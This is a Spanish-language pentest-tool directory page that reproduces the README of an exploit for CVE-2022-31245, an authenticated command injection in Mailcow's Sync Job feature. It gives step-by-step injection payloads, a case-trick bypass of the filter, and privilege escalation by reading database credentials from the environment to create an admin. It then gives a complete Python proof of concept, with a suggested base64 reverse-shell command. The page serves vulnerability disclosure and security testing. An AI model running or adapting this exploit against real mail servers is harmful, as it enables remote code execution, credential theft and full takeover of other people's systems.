Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Mailcow-CVE-2022-31245 — CVE-2022-31245: RCE y escalada de privilegios de administrador de dominio para Mailcow | Kitploit
Herramientas/GitHubGitHub/ly1g3/mailcow-cve-2022-31245
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y Control
GitHubly1g3/mailcow-cve-2022-31245

Mailcow-CVE-2022-31245

CVE-2022-31245: RCE y escalada de privilegios de administrador de dominio para Mailcow

Ver Repositorio
12724hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Mailcow CVE-2022-31245

CVE-2022-31245: RCE y escalada de privilegios de Domain Admin para Mailcow. Incluyendo POC.

Reportado y corregido: 2022-05

Versión parcheada: https://github.com/mailcow/mailcow-dockerized/releases/tag/2022-05d
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31245

CVE-2022-31245: Inyección de comandos, RCE

Severidad: 3/3
Tipo: Inyección de comandos, RCE, Toma de dominio
Versiones afectadas: al menos 2019 - 2022-05c

Existe una falla en todas las versiones recientes de Mailcow donde un usuario regular del sistema puede explotar la función «Sync Job» para obtener una shell mediante una inyección de comandos en imapsync. Usando esta vulnerabilidad, un atacante puede luego pivotar fácilmente a la base de datos y escalar privilegios al rol de «Domain Admin» en Mailcow.

Este exploit incluye persistencia por defecto, ya que los Sync Jobs se ejecutan en un temporizador.

Este exploit compromete toda la instancia de Mailcow. Probado y funcionando en la versión 2022-05c. Parcheado en 2022-05d.

Resumen técnico

La vulnerabilidad puede reproducirse mediante los siguientes pasos.

Obtener shell:

  1. Ir a la página de inicio de sesión de Mailcow (no SOGo)
  2. Iniciar sesión como un usuario regular
  3. Ir a Sync Jobs
  4. Establecer los siguientes valores: hostname=MAILCOW_IP, Port=IMAP_PORT, Username=CURRENT_USER, Password=CURRENT_PASS, Encryption=PLAIN, Interval=1, Active=Check, Custom Parameters=--debug --nosslcheck --PIPEMESS=CMD Donde el campo «Custom Parameters» es el campo importante. CMD puede ser un comando de shell arbitrario sin espacios. ¡Es importante usar mayúsculas!
  5. Pulsar guardar y esperar 1 minuto a que el comando se ejecute.

Ejemplo de payload de Custom Parameters:

--debug --nosslcheck --PIPEMESS=touch${IFS}test.txt

CMD no puede contener espacios, comillas ni barras; usa ${IFS} en lugar de espacio. Es importante usar mayúsculas en --PIPEMESS para evadir la comprobación en functions.mailbox.inc.php en la línea 340:

if (strpos($custom_params, 'pipemess')) {
	$custom_params = '';
}

Este comando en mayúsculas sigue funcionando porque imapsync es insensible a mayúsculas y minúsculas.

Escalada de privilegios:

  1. Después de obtener una shell en el contenedor dovcot, ejecutar env
  2. Buscar DBUSER y DBPASS
  3. Iniciar sesión en la base de datos usando mysql y las credenciales
  4. Crear un nuevo usuario administrador o crear una nueva clave de API de administrador

Prueba de concepto, POC

POC automatizada. La POC podría, en algunos casos, necesitar modificaciones para ejecutarse contra instancias de Mailcow no locales.

#!/bin/python3

description = """

Mailcow authenticated RCE. Only for educational purposes!!
By: ly1g3[at]tuta.io

This exploit can be used to get mailcow domain admin using mysql credentials found in "env" after getting shell.
Quotes, spaces and slash cant be used in cmd. Use ${IFS} as space. End command with ; is recommended.
Example reverse shell use: --cmd 'echo${IFS}PYTHON_REVERSE_SHELL_BASE64${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;' where PYTHON_REVERSE_SHELL_BASE64 is python reverse shell.


Example usage: ./mailcow_poc1.py --url https://192.168.1.2 --user [email protected] --passwd testpass --cmd 'echo${IFS}PYTHON_REVERSE_SHELL_BASE64${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;'

"""


import requests
import urllib
import sys
from urllib.parse import urlparse
import argparse
from argparse import RawTextHelpFormatter
from datetime import datetime


parser = argparse.ArgumentParser(description=description, formatter_class=RawTextHelpFormatter)
parser.add_argument('--url', help='Url to the mailcow server', required=True)
parser.add_argument('--user', help='Mailcow username, example [email protected]', required=True)
parser.add_argument('--passwd', help='Mailcow user password', required=True)
parser.add_argument('--cmd', help='Command to execute', required=True)

args = parser.parse_args()


base_url = args.url
# hostname = urlparse(base_url).netloc
hostname = '127.0.0.1'
user = args.user
password = args.passwd
cmd = args.cmd


# Get the required csrf token
def find_csrf_token(text):
    try:
        start1 = text.index("var csrf_token")
        start2 = text.index("'", start1)
        end2 = text.index("'", start2+1)
        csrf_token = text[start2+1:end2]
        return csrf_token
    except:
        return ""

login_url = base_url + '/'

s = requests.Session()

# Login
r1 = s.post(login_url, data={'login_user': user, 'pass_user': password}, verify=False)

token = find_csrf_token(r1.text)
if not token:
    print("Error no token found, login problems?")
    sys.exit(0)
print(f"CSRF token: {token}")


sync_url = base_url + '/api/v1/add/syncjob'

# Create sync job with command injection
attr = f'{{"host1":"{hostname}","port1":"143","user1":"{user}","password1":"{password}","enc1":"PLAIN","mins_interval":"1","subfolder2":"","maxage":"0","maxbytespersecond":"0","timeout1":"10","timeout2":"10","exclude":"(?i)spam|(?i)junk","custom_params":"--debug --nosslcheck --PIPEMESS={cmd}","subscribeall":"1","active":"1","csrf_token":"{token}"}}'
r2 = s.post(sync_url, data={'attr': attr, 'csrf_token': token}, verify=False)

c = r2.content
if c.find(b"mailbox_modified") != -1:
    print("Success, rule modified")
elif c.find(b"object_exists") != -1:
    print("ERROR: Object exists, remove existing rule before running this")
    print(c)
    sys.exit(0)
else:
    print("ERROR: Something went wrong")
    print(c)
now = datetime.now()
current_time = now.strftime("%H:%M:%S")
print("Command may take 1min to execute...")
print(f"Done at: {current_time}")
Descargar herramienta